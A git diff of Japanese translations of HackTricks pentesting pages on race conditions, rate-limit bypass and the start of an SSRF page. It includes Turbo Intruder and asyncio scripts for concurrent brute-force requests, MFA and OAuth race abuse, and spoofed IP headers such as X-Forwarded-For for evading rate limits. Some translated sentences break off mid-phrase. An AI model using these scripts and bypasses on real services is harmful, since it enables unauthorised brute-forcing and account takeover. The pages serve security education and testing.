<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -85,11 +85,11 @@ Webサーバーは、リクエストがあまりにも速く送信された場
|
|||
|
||||
#### 攻撃の例
|
||||
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内のブルートフォースしたい値を**`%s`**のように変更し、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように選択します。次に、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します:
|
||||
* **Tubo Intruder - HTTP2シングルパケット攻撃(1エンドポイント)**:リクエストを**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)に送信することができます。リクエスト内の**`%s`**のようなブルートフォースしたい値を変更し、ドロップダウンから**`examples/race-single-packer-attack.py`**を選択します。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用するこのコードに変更できます:
|
||||
**異なる値を送信する**場合は、クリップボードからワードリストを使用するこのコードに変更できます。
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -143,7 +143,7 @@ engine.openGate(currentAttempt)
|
|||
前の研究の前に、RCを引き起こすためにパケットをできるだけ速く送信しようとするいくつかのペイロードが使用されました。
|
||||
|
||||
* **Repeater:** 前のセクションの例を確認してください。
|
||||
* **Intruder**: **リクエスト**を**Intruder**に送信し、**オプションメニュー**で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
* **Intruder**: **リクエスト**を**Intruder**に送信し、**オプションメニュー**内の**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -164,8 +164,6 @@ def handleResponse(req, interesting):
|
|||
table.add(req)
|
||||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
Pythonの非同期処理(asyncio)
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -193,43 +191,43 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## **RCの方法論**
|
||||
## **RC Methodology**
|
||||
|
||||
### 制限超過/TOCTOU
|
||||
### Limit-overrun / TOCTOU
|
||||
|
||||
これは最も基本的なタイプの競合状態であり、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
|
||||
これは最も基本的な競合状態のタイプであり、**アクションの実行回数を制限する場所に現れる脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
|
||||
|
||||
この種の攻撃にはさまざまなバリエーションがあります。
|
||||
この種の攻撃には、次のような多くのバリエーションがあります。
|
||||
|
||||
* ギフトカードを複数回利用する
|
||||
* 製品に複数回評価を付ける
|
||||
* 口座残高を超えて現金を引き出すまたは送金する
|
||||
* 単一のCAPTCHAソリューションを再利用する
|
||||
* 反ブルートフォースのレート制限をバイパスする
|
||||
- ギフトカードを複数回利用する
|
||||
- 製品に複数回評価を付ける
|
||||
- 口座残高を超えて現金を引き出すまたは送金する
|
||||
- 単一のCAPTCHAソリューションを再利用する
|
||||
- 反復試行防止の制限をバイパスする
|
||||
|
||||
### **隠れたサブステート**
|
||||
### **Hidden substates**
|
||||
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できる可能性のある**マシンのサブステート**を悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を悪用できる可能性のあるマシンのサブステートを利用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
|
||||
1. **潜在的な隠れた興味深いサブステートを予測する**
|
||||
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーはデータベーステーブルに保存され、登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更される場合があります。
|
||||
|
||||
エンドポイントと関連するエンドポイントごとに、次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外します。
|
||||
次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます。
|
||||
|
||||
* **状態はどのように保存されていますか?**
|
||||
- **状態はどのように保存されていますか?**
|
||||
|
||||
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
|
||||
|
||||
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています。後で詳しく説明します。
|
||||
|
||||
* **編集または追加していますか?**
|
||||
- **編集または追加ですか?**
|
||||
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱性を持つ可能性は低いです。
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱ではありません。
|
||||
|
||||
* **操作は何にキー付けられていますか?**
|
||||
- **操作は何にキー付けられていますか?**
|
||||
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して特定のレコードで操作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -239,25 +237,25 @@ asyncio.run(main())
|
|||
|
||||
3. **コンセプトを証明する**
|
||||
|
||||
最後のステップは、**コンセプトを証明し、攻撃可能な攻撃に変える**ことです。
|
||||
最後のステップは、**コンセプトを証明し、攻撃可能なものにする**ことです。
|
||||
|
||||
一括のリクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングがより重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングが重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
|
||||
### タイムセンシティブ攻撃
|
||||
|
||||
場合によっては、競合状態を見つけることができないかもしれませんが、**正確なタイミングでリクエストを送信するための技術**は、他の脆弱性の存在を明らかにすることができます。
|
||||
|
||||
その一例として、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される**場合があります。
|
||||
その一例として、セキュリティトークンを生成するために、**暗号的に安全なランダム文字列の代わりに高解像度のタイムスタンプが使用される**場合があります。
|
||||
|
||||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることで、**2つの異なるユーザーのために2つのパスワードリセットをトリガー**することができるかもしれません。
|
||||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることができるかもしれません。2つの異なるユーザーのために2つのパスワードリセットをトリガーするだけで、同じトークンを使用します。
|
||||
|
||||
{% hint style="warning" %}
|
||||
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**かどうかを確認します。
|
||||
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**であるかどうかを確認します。
|
||||
{% endhint %}
|
||||
|
||||
[**このラボの例**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)を確認してください。
|
||||
|
||||
## 隠れたサブステートのケーススタディ
|
||||
## Hidden substates case studies
|
||||
|
||||
### 商品の支払いと追加
|
||||
|
||||
|
@ -265,17 +263,17 @@ asyncio.run(main())
|
|||
|
||||
### 他のメールの確認
|
||||
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**して、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
|
||||
### 2つのメールアドレスにCookieを使用してメールアドレスを変更する
|
||||
### 2つのメールアドレスにメールを変更する(Cookieベース)
|
||||
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールのメール確認トークンを他のメールに送信**する可能性があるからです。
|
||||
|
||||
これについては、[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)もチェックしてください。
|
||||
|
||||
### 隠れたデータベースの状態/確認バイパス
|
||||
|
||||
**2つの異なる書き込み**が使用されて**データベース**に**情報**を**追加**する場合、最初のデータがデータベースに書き込まれた後、**2番目のデータが
|
||||
**2つの異なる書き込み**が使用されて**データベースに情報を追加**する場合、最初のデータがデータベースに書き込まれた後、**2番目のデータが書き込まれる前の一部の時間**があります。たとえば、ユーザーを作成するときには、**
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -283,20 +281,20 @@ session['enforce_mfa'] = True
|
|||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
この場合、**単一のリクエスト内での複数のステップのシーケンス**が実際に存在することがわかります。最も重要なことは、**ユーザーが一時的に有効なログインセッションを持っているが、MFAがまだ強制されていない**というサブステートを経由することです。攻撃者は、ログインリクエストと共に、機密な認証済みエンドポイントへのリクエストを送信することで、これを悪用する可能性があります。
|
||||
この場合、**単一のリクエスト内での複数のステップのシーケンス**が実際に行われています。最も重要なことは、**ユーザーが一時的に有効なログインセッションを持っているが、MFAがまだ強制されていない**というサブステートを経由します。攻撃者は、ログインリクエストと共に、機密情報にアクセスするためのリクエストを送信することで、これを悪用する可能性があります。
|
||||
|
||||
### OAuth2の永続性
|
||||
|
||||
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダーが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、**クライアント**が**アプリケーションにアクセスを許可**する必要があります。\
|
||||
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダーが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、**クライアント**が**アプリケーションにアクセスを許可**する必要があります。**OAuthプロバイダー**内の一部のデータにアクセスするためです。\
|
||||
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、以下のようなページが表示されます: "_Application \<InsertCoolName> があなたの情報にアクセスすることを希望しています。許可しますか?_"
|
||||
|
||||
#### `authorization_code`における競合状態
|
||||
|
||||
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)をあなたのアカウントに生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1つのAT/RTのペアは削除されますが、他のものは有効のまま**です。
|
||||
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1つのAT/RTのペアは削除されますが、他のものは有効のまま**です。
|
||||
|
||||
#### `Refresh Token`における競合状態
|
||||
|
||||
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルしたとしても、**複数のRTは有効のまま**です。
|
||||
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルした場合でも、**複数のRTは有効のまま**です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -310,18 +308,18 @@ session['enforce_mfa'] = True
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# レート制限回避
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,8 +12,8 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
@ -24,9 +24,9 @@
|
|||
|
||||
`/api/v3/sign-up`エンドポイントを攻撃している場合は、`/Sing-up`、`/SignUp`、`/singup`などに対してブルートフォース攻撃を試みてください...
|
||||
|
||||
また、コードやパラメータに`%00、%0d%0a、%0d、%0a、%09、%0C、%20`のような空白バイトを追加してみてください。例えば、`code=1234%0a`のようにするか、メールのコードをリクエストしている場合は、5回の試行のうち、最初の5回を`example@email.com`に使用し、次に`example@email.com%0a`に使用し、`example@email.com%0a%0a`に使用し、続けます...
|
||||
また、コードやパラメータに`%00、%0d%0a、%0d、%0a、%09、%0C、%20`のような空白バイトを追加してみてください。例えば、`code=1234%0a`のようにするか、メールのコードをリクエストしている場合は、5回の試行のうち、`example@email.com`に対して5回、`example@email.com%0a`に対して5回、`example@email.com%0a%0a`に対して5回、続けて...
|
||||
|
||||
### ヘッダーを使用してIPの起源を変更する
|
||||
### ヘッダーを使用してIPの起点を変更する
|
||||
```bash
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
|
@ -53,21 +53,21 @@ X-Forwarded-For: 127.0.0.1
|
|||
|
||||
### 各試行の前にアカウントにログインする
|
||||
|
||||
もしかしたら、各試行(またはX回のセットごと)の前に**アカウントにログインする**と、制限がリセットされるかもしれません。もしログイン機能を攻撃している場合、Burpを使用してPitchfork攻撃を行い、**一定の試行ごとに資格情報を設定**することができます(リダイレクトをフォローするようにマークしてください)。
|
||||
もしかしたら、各試行(またはX回のセットごと)の前に**アカウントにログインする**と、制限がリセットされるかもしれません。もしログイン機能を攻撃している場合、Burpを使用してPitchfork攻撃を行い、**一定の試行ごとに資格情報を設定**し(リダイレクトをフォローするようにマーク)、これを行うことができます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?またはPEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォローしてください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# SSRF(サーバーサイドリクエストフォージェリ)
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
|
@ -12,15 +12,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
サーバーサイドリクエストフォージェリ(SSRF)は、攻撃者が選択した攻撃者のドメインに対してサーバーサイドアプリケーションにHTTPリクエストを行わせることができるウェブセキュリティの脆弱性です([ここから](https://portswigger.net/web-security/ssrf))。
|
||||
サーバーサイドリクエストフォージェリ(SSRF)は、攻撃者が選択した任意のドメインに対してサーバーサイドアプリケーションにHTTPリクエストを行わせることができるウェブセキュリティの脆弱性です([ここから](https://portswigger.net/web-security/ssrf))。
|
||||
|
||||
## SSRFのキャプチャ
|
||||
|
||||
|
@ -35,7 +35,7 @@
|
|||
|
||||
## ホワイトリストされたドメインのバイパス
|
||||
|
||||
通常、SSRFは**特定のホワイトリストされたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスするための**テクニックのコンパイル**があります:
|
||||
通常、SSRFは**特定のホワイトリストされたドメイン**またはURLでのみ機能することがわかります。次のページでは、そのホワイトリストをバイパスするための**さまざまなテクニックのまとめ**があります。
|
||||
|
||||
{% content-ref url="url-format-bypass.md" %}
|
||||
[url-format-bypass.md](url-format-bypass.md)
|
||||
|
@ -43,8 +43,8 @@
|
|||
|
||||
### オープンリダイレクトを介したバイパス
|
||||
|
||||
サーバーが正しく保護されている場合、ウェブページ内の**オープンリダイレクトを悪用**することで、すべての制限をバイパスすることができます。ウェブページは**同じドメインへのSSRFを許可**し、おそらく**リダイレクトをたどる**でしょうので、**オープンリダイレクトを悪用してサーバーが内部のリソースにアクセス**することができます。\
|
||||
詳細はこちら:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
